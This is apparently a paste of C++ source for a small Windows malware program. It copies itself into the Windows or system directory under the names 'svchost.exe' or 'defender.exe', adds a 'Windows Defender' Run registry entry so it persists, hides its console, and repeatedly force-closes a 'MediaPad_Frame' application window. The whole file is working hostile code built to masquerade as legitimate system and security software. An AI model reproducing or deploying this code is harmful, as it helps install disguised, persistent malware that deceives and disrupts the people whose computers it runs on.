rendered paste body#define _WIN32_WINNT 0x0500
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <shlobj.h>
#include <windows.h>
using namespace std;
bool file_exists(char *path) {
fstream fin;
fin.open(path,ios::in);
if(fin.is_open()) { return true; }
fin.close();
return false;
}
int main(int argc, char *argv[])
{
char buf[MAX_PATH];
char tpa[MAX_PATH];
char xsystem[MAX_PATH];
LPITEMIDLIST pidl;
LPMALLOC pMalloc;
int iSuccess;
bool bSuccess;
bool hasBuf = FALSE;
bool hasWin = FALSE;
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,tpa,sizeof(tpa));
cout << "Getting sys... ";
iSuccess = SHGetSpecialFolderLocation(false, CSIDL_WINDOWS, &pidl);
if(iSuccess == S_OK) {
cout << "[ok]" << endl;
cout << "Getting path from ID... ";
bSuccess = SHGetPathFromIDList(pidl, xsystem);
if(bSuccess == TRUE) {
hasWin = TRUE;
cout << "[ok]" << endl;
}
else { cout << "[failed]" << endl; }
}
else {
cout << "[failed]" << endl;
}
if(hasWin == TRUE) {
strcat(xsystem, "\\svchost.exe");
}
else {
GetSystemDirectory(xsystem,sizeof(xsystem));
strcat(xsystem, "\\defender.exe");
}
if(!file_exists(xsystem)) {
CopyFile(tpa,xsystem,false);
cout << "Copying... [ok]" << endl;
}
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey, "Windows Defender",0,REG_SZ,(const unsigned char*)xsystem,sizeof(xsystem));
RegCloseKey(hKey);
cout << "Freeing memory... ";
if(SHGetMalloc(&pMalloc)==S_OK && pMalloc) {
pMalloc->Free(pidl);
pMalloc->Release();
cout << "[ok]" << endl;
}
else {
cout << "[failed]" << endl;
}
/* Part 2 */
// try and hide console
HWND x = GetConsoleWindow();
ShowWindow(x, SW_HIDE);
while(1) {
HWND Mov = FindWindow("MediaPad_Frame", NULL);
if(Mov != NULL) {
//SetWindowText(Mov, "You Suck Balls Superman");
PostMessage(Mov, WM_CLOSE, (LPARAM)0, (WPARAM)0);
Beep(300, 20);
}
Sleep(10);
}
system("PAUSE");
return EXIT_SUCCESS;
}